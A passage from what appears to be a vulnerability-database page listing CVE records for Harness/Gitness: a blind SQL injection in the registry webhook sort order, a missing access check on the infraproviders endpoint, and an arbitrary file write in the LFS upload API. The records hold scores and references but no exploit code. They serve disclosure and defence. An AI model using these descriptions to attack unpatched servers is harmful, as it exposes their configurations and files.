            "dateUpdated": "2026-10-02T04:57:33Z",
            "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
            "shortName": "VULNARCHIVE"
          },
          "references": [
            {
              "tags": [
                "technical-description",
                "exploit"
              ],
              "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/82"
            },
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://seclists.org/fulldisclosure/2026/Sep/82"
            },
            {
              "url": "https://cwe.mitre.org/data/definitions/200.html"
            },
            {
              "url": "https://cwe.mitre.org/data/definitions/89.html"
            },
            {
              "url": "https://fereidani.com/contact"
            },
            {
              "url": "https://fereidani.com/harness-registry-webhook-sortorder-blind-sql-injection"
            },
            {
              "url": "https://github.com/harness/harness/blob/main/registry/app/api/controller/metadata/list_webhooks.go"
            },
            {
              "url": "https://github.com/harness/harness/blob/main/registry/app/store/database/upstream_proxy.go"
            },
            {
              "url": "https://github.com/harness/harness/blob/main/registry/app/store/database/webhook.go"
            },
            {
              "url": "https://github.com/harness/harness/issues/3724"
            },
            {
              "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
            },
            {
              "url": "https://seclists.org/fulldisclosure/"
            }
          ],
          "source": {
            "defect": [
              "https://seclists.org/fulldisclosure/2026/Sep/82"
            ],
            "discovery": "EXTERNAL"
          },
          "title": "harness(gitness) registry webhook sort_order blind SQL injection",
          "x_gcve": [
            {
              "recordType": "advisory",
              "relationships": [],
              "vulnId": "GCVE-1988-2026-0416",
              "x_vulnarchive": {
                "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/82",
                "automated": true,
                "contentSha256": "42aa0137486ebb0c1774ed99577e2684448941eae7739e7e9d4588e053eb8943",
                "evidenceScore": 10,
                "messageId": "",
                "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/82",
                "policy": "vulnarchive-1",
                "sourceFormat": "text/html",
                "sourcePublishedAt": "2026-09-24T03:12:34Z"
              }
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "assignerShortName": "VULNARCHIVE",
        "datePublished": "2026-10-02T04:57:33Z",
        "dateUpdated": "2026-10-02T04:57:33Z",
        "state": "PUBLISHED",
        "vulnId": "GCVE-1988-2026-0416"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-92750 (GCVE-0-2026-92750)

    Vulnerability from nvd – Published: 2026-09-16 20:32 – Updated: 2026-09-17 19:25
    VLAI
    Title
    Harness through 3.3.0 Missing Access Control via infraproviders endpoint
    Summary
    Harness through 3.3.0 omits access control validation in the infrastructure provider read endpoint, allowing authenticated users to retrieve provider configurations from spaces they do not belong to. Attackers can query the GET /api/v1/infraproviders endpoint with arbitrary space identifiers to expose sensitive provider metadata including Docker endpoints, TLS certificate paths, and cloud project identifiers.
    SSVC
    Exploitation: none Automatable: no Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-09-17 19:16 UTC
    CWE
    Assigner
    VulnCheck CNA under the mitre root
    CNA scorecard B 84/100 over 7434 records in the last 180 days details
    Impacted products
    Vendor Product Version
    harness harness Affected: 0 , ≤ 3.3.0 (semver)
    Create a notification for this product.
    Date Public
    2026-06-21 00:00
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-92750",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-09-17T19:16:48.895933Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-09-17T19:25:28.230Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "defaultStatus": "unaffected",
              "packageURL": "pkg:golang/github.com/harness/gitness",
              "product": "harness",
              "vendor": "harness",
              "versions": [
                {
                  "lessThanOrEqual": "3.3.0",
                  "status": "affected",
                  "version": "0",
                  "versionType": "semver"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "George Chen"
            }
          ],
          "datePublic": "2026-06-21T00:00:00.000Z",
          "descriptions": [
            {
              "lang": "en",
              "value": "Harness through 3.3.0 omits access control validation in the infrastructure provider read endpoint, allowing authenticated users to retrieve provider configurations from spaces they do not belong to. Attackers can query the GET /api/v1/infraproviders endpoint with arbitrary space identifiers to expose sensitive provider metadata including Docker endpoints, TLS certificate paths, and cloud project identifiers."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 7.1,
                "baseSeverity": "HIGH",
                "privilegesRequired": "LOW",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "NONE"
              },
              "format": "CVSS"
            },
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.5,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "NONE",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
                "version": "3.1"
              },
              "format": "CVSS"
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-862",
                  "description": "Missing Authorization",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-16T20:32:23.461Z",
            "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
            "shortName": "VulnCheck"
          },
          "references": [
            {
              "name": "GitHub Issue #3697",
              "tags": [
                "issue-tracking"
              ],
              "url": "https://github.com/harness/harness/issues/3697"
            },
            {
              "tags": [
                "product"
              ],
              "url": "https://github.com/harness/harness"
            },
            {
              "name": "Find discards the session and has its ACL check commented out",
              "tags": [
                "technical-description"
              ],
              "url": "https://github.com/harness/harness/blob/v3.3.0/app/api/controller/infraprovider/find.go#L25-L41"
            },
            {
              "name": "sibling List calls apiauth.CheckInfraProvider",
              "tags": [
                "technical-description"
              ],
              "url": "https://github.com/harness/harness/blob/v3.3.0/app/api/controller/infraprovider/list.go#L37"
            },
            {
              "name": "VulnCheck Advisory: Harness through 3.3.0 Missing Access Control via infraproviders endpoint",
              "tags": [
                "third-party-advisory"
              ],
              "url": "https://www.vulncheck.com/advisories/harness-through-3.3.0-missing-access-control-via-infraproviders-endpoint"
            }
          ],
          "title": "Harness through 3.3.0 Missing Access Control via infraproviders endpoint",
          "x_generator": {
            "engine": "vulncheck-endgame"
          }
        }
      },
      "cveMetadata": {
        "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "assignerShortName": "VulnCheck",
        "cveId": "CVE-2026-92750",
        "datePublished": "2026-09-16T20:32:23.461Z",
        "dateReserved": "2026-09-16T18:57:07.770Z",
        "dateUpdated": "2026-09-17T19:25:28.230Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2025-58158 (GCVE-0-2025-58158)

    Vulnerability from nvd – Published: 2025-08-29 17:44 – Updated: 2025-08-29 18:08
    VLAI
    Title
    Harness Affected by Arbitrary File Write in Gitness LFS server
    Summary
    Harness Open Source is an end-to-end developer platform with Source Control Management, CI/CD Pipelines, Hosted Developer Environments, and Artifact Registries. Prior to version 3.3.0, Open Source Harness git LFS server (Gitness) exposes api to retrieve and upload files via git LFS. Implementation of upload git LFS file api is vulnerable to arbitrary file write. Due to improper sanitization for upload path, a malicious authenticated user who has access to Harness Gitness server api can use a crafted upload request to write arbitrary file to any location on file system, may even compromise the server. Users using git LFS are vulnerable. This issue has been patched in version 3.3.0.
    SSVC
    Exploitation: none Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2025-08-29 18:07 UTC
    CWE
    • CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
    • CWE-73 - External Control of File Name or Path
    Assigner
    GitHub_M CNA under the mitre root
    CNA scorecard C 72/100 over 8025 records in the last 180 days details
    References
    Impacted products
    Vendor Product Version
    harness harness Affected: < 3.3.0
    Create a notification for this product.
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2025-58158",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2025-08-29T18:07:33.237579Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2025-08-29T18:08:04.400Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "harness",
              "vendor": "harness",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 3.3.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Harness Open Source is an end-to-end developer platform with Source Control Management, CI/CD Pipelines, Hosted Developer Environments, and Artifact Registries. Prior to version 3.3.0, Open Source Harness git LFS server (Gitness) exposes api to retrieve and upload files via git LFS. Implementation of upload git LFS file api is vulnerable to arbitrary file write. Due to improper sanitization for upload path, a malicious authenticated user who has access to Harness Gitness server api can use a crafted upload request to write arbitrary file to any location on file system, may even compromise the server. Users using git LFS are vulnerable. This issue has been patched in version 3.3.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-22",
                  "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-73",
                  "description": "CWE-73: External Control of File Name or Path",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2025-08-29T17:44:31.852Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/harness/harness/security/advisories/GHSA-w469-hj2f-jpr5",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/harness/harness/security/advisories/GHSA-w469-hj2f-jpr5"
            },
            {
              "name": "https://github.com/harness/harness/commit/21c5ce42ae13740b1cad47706c2ec85e72cc8c20",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/harness/harness/commit/21c5ce42ae13740b1cad47706c2ec85e72cc8c20"
            }
          ],
          "source": {
            "advisory": "GHSA-w469-hj2f-jpr5",
            "discovery": "UNKNOWN"
          },
          "title": "Harness Affected by Arbitrary File Write in Gitness LFS server"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2025-58158",
        "datePublished": "2025-08-29T17:44:31.852Z",
        "dateReserved": "2025-08-27T13:34:56.186Z",
        "dateUpdated": "2025-08-29T18:08:04.400Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }

    CVE-2026-92750 (GCVE-0-2026-92750)

    Vulnerability from cvelistv5 – Published: 2026-09-16 20:32 – Updated: 2026-09-17 19:25
    VLAI
    Title
    Harness through 3.3.0 Missing Access Control via infraproviders endpoint
    Summary
    Harness through 3.3.0 omits access control validation in the infrastructure provider read endpoint, allowing authenticated users to retrieve provider configurations from spaces they do not belong to. Attackers can query the GET /api/v1/infraproviders endpoint with arbitrary space identifiers to expose sensitive provider metadata including Docker endpoints, TLS certificate paths, and cloud project identifiers.
    SSVC
    Exploitation: none Automatable: no Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-09-17 19:16 UTC
    CWE
    Assigner
    VulnCheck CNA under the mitre root
    CNA scorecard B 84/100 over 7434 records in the last 180 days details
    Impacted products
    Vendor Product Version
    harness harness Affected: 0 , ≤ 3.3.0 (semver)
    Create a notification for this product.
    Date Public
    2026-06-21 00:00
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-92750",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-09-17T19:16:48.895933Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-09-17T19:25:28.230Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "defaultStatus": "unaffected",
              "packageURL": "pkg:golang/github.com/harness/gitness",
              "product": "harness",
              "vendor": "harness",
              "versions": [
                {
                  "lessThanOrEqual": "3.3.0",
                  "status": "affected",
                  "version": "0",
                  "versionType": "semver"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "George Chen"
            }
          ],
          "datePublic": "2026-06-21T00:00:00.000Z",
          "descriptions": [
            {
              "lang": "en",
              "value": "Harness through 3.3.0 omits access control validation in the infrastructure provider read endpoint, allowing authenticated users to retrieve provider configurations from spaces they do not belong to. Attackers can query the GET /api/v1/infraproviders endpoint with arbitrary space identifiers to expose sensitive provider metadata including Docker endpoints, TLS certificate paths, and cloud project identifiers."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 7.1,
                "baseSeverity": "HIGH",
                "privilegesRequired": "LOW",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "NONE"
              },
              "format": "CVSS"
            },
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.5,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "NONE",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
                "version": "3.1"
              },
              "format": "CVSS"
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-862",
                  "description": "Missing Authorization",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-16T20:32:23.461Z",
            "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
            "shortName": "VulnCheck"
          },
          "references": [
            {
              "name": "GitHub Issue #3697",
              "tags": [
                "issue-tracking"
              ],
              "url": "https://github.com/harness/harness/issues/3697"
            },
            {
              "tags": [
                "product"
              ],
              "url": "https://github.com/harness/harness"
            },
            {
              "name": "Find discards the session and has its ACL check commented out",
              "tags": [
                "technical-description"
              ],
              "url": "https://github.com/harness/harness/blob/v3.3.0/app/api/controller/infraprovider/find.go#L25-L41"
            },
            {
              "name": "sibling List calls apiauth.CheckInfraProvider",
              "tags": [
                "technical-description"
              ],
              "url": "https://github.com/harness/harness/blob/v3.3.0/app/api/controller/infraprovider/list.go#L37"
            },
            {
              "name": "VulnCheck Advisory: Harness through 3.3.0 Missing Access Control via infraproviders endpoint",
              "tags": [
                "third-party-advisory"
              ],
              "url": "https://www.vulncheck.com/advisories/harness-through-3.3.0-missing-access-control-via-infraproviders-endpoint"
            }
          ],
          "title": "Harness through 3.3.0 Missing Access Control via infraproviders endpoint",
          "x_generator": {
            "engine": "vulncheck-endgame"
          }
        }
      },
      "cveMetadata": {
        "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "assignerShortName": "VulnCheck",
        "cveId": "CVE-2026-92750",
        "datePublished": "2026-09-16T20:32:23.461Z",
        "dateReserved": "2026-09-16T18:57:07.770Z",
        "dateUpdated": "2026-09-17T19:25:28.230Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2025-58158 (GCVE-0-2025-58158)

    Vulnerability from cvelistv5 – Published: 2025-08-29 17:44 – Updated: 2025-08-29 18:08
    VLAI
    Title
    Harness Affected by Arbitrary File Write in Gitness LFS server
    Summary
    Harness Open Source is an end-to-end developer platform with Source Control Management, CI/CD Pipelines, Hosted Developer Environments, and Artifact Registries. Prior to version 3.3.0, Open Source Harness git LFS server (Gitness) exposes api to retrieve and upload files via git LFS. Implementation of upload git LFS file api is vulnerable to arbitrary file write. Due to improper sanitization for upload path, a malicious authenticated user who has access to Harness Gitness server api can use a crafted upload request to write arbitrary file to any location on file system, may even compromise the server. Users using git LFS are vulnerable. This issue has been patched in version 3.3.0.
    SSVC
    Exploitation: none Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2025-08-29 18:07 UTC
    CWE
    • CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
    • CWE-73 - External Control of File Name or Path
    Assigner
    GitHub_M CNA under the mitre root
    CNA scorecard C 72/100 over 8025 records in the last 180 days details
    References
    Impacted products
    Vendor Product Version
    harness harness Affected: < 3.3.0
    Create a notification for this product.
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2025-58158",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2025-08-29T18:07:33.237579Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2025-08-29T18:08:04.400Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "harness",
              "vendor": "harness",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 3.3.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Harness Open Source is an end-to-end developer platform with Source Control Management, CI/CD Pipelines, Hosted Developer Environments, and Artifact Registries. Prior to version 3.3.0, Open Source Harness git LFS server (Gitness) exposes api to retrieve and upload files via git LFS. Implementation of upload git LFS file api is vulnerable to arbitrary file write. Due to improper sanitization for upload path, a malicious authenticated user who has access to Harness Gitness server api can use a crafted upload request to write arbitrary file to any location on file system, may even compromise the server. Users using git LFS are vulnerable. This issue has been patched in version 3.3.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-22",
                  "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-73",
                  "description": "CWE-73: External Control of File Name or Path",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2025-08-29T17:44:31.852Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/harness/harness/security/advisories/GHSA-w469-hj2f-jpr5",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/harness/harness/security/advisories/GHSA-w469-hj2f-jpr5"
            },
            {
              "name": "https://github.com/harness/harness/commit/21c5ce42ae13740b1cad47706c2ec85e72cc8c20",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/harness/harness/commit/21c5ce42ae13740b1cad47706c2ec85e72cc8c20"
            }
          ],
          "source": {
            "advisory": "GHSA-w469-hj2f-jpr5",
            "discovery": "UNKNOWN"
          },
          "title": "Harness Affected by Arbitrary File Write in Gitness LFS server"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2025-58158",
        "datePublished": "2025-08-29T17:44:31.852Z",
        "dateReserved": "2025-08-27T13:34:56.186Z",
        "dateUpdated": "2025-08-29T18:08:04.400Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }